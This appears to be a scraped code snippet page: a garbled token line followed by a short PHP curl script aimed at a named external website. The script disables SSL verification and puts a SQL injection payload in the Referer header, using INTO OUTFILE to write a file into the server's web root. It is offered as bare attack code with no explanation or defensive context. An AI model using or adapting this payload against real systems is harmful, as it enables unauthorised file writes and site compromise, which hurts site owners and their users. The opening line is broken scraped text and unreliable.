php ch curl_init curl_setopt ch CURLOPT_RETURNTRANSF ER true curl_seto

1
2
3
4
5
6
7
8
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_URL, 'https://www.fbid.ru/c.php');
curl_setopt($ch, CURLOPT_REFERER, "http://xuj.pizda/' INTO OUTFILE '/usr/local/www/apache22/data/test2.txt'");
echo curl_exec($ch);